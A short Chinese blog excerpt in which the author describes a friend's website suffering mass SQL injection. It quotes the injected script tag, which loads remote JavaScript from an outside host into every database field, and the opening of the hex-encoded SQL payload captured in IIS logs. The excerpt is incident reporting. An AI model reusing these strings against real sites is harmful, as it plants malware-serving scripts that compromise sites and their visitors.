摘要：
这几天朋友的网站天天被搞破坏的人恶意注入，也许是程序没写好的原因，数据库每个字段加了一段script（<Script Src=http://%63%2Enuclear3.com/css/c.js></Script>，而这个script地址时不时的有变化）。用一些搜索引擎搜索下：/css/c.js></Script>，发现好多网站居然都有这个问题。通过iis日志捕捉到注入的原型是以下形式：;DeCLaRE @S NvArCHaR(4000);SeT @S=CaSt(0x4400650063006C00610072006500200040005400200 阅读全文
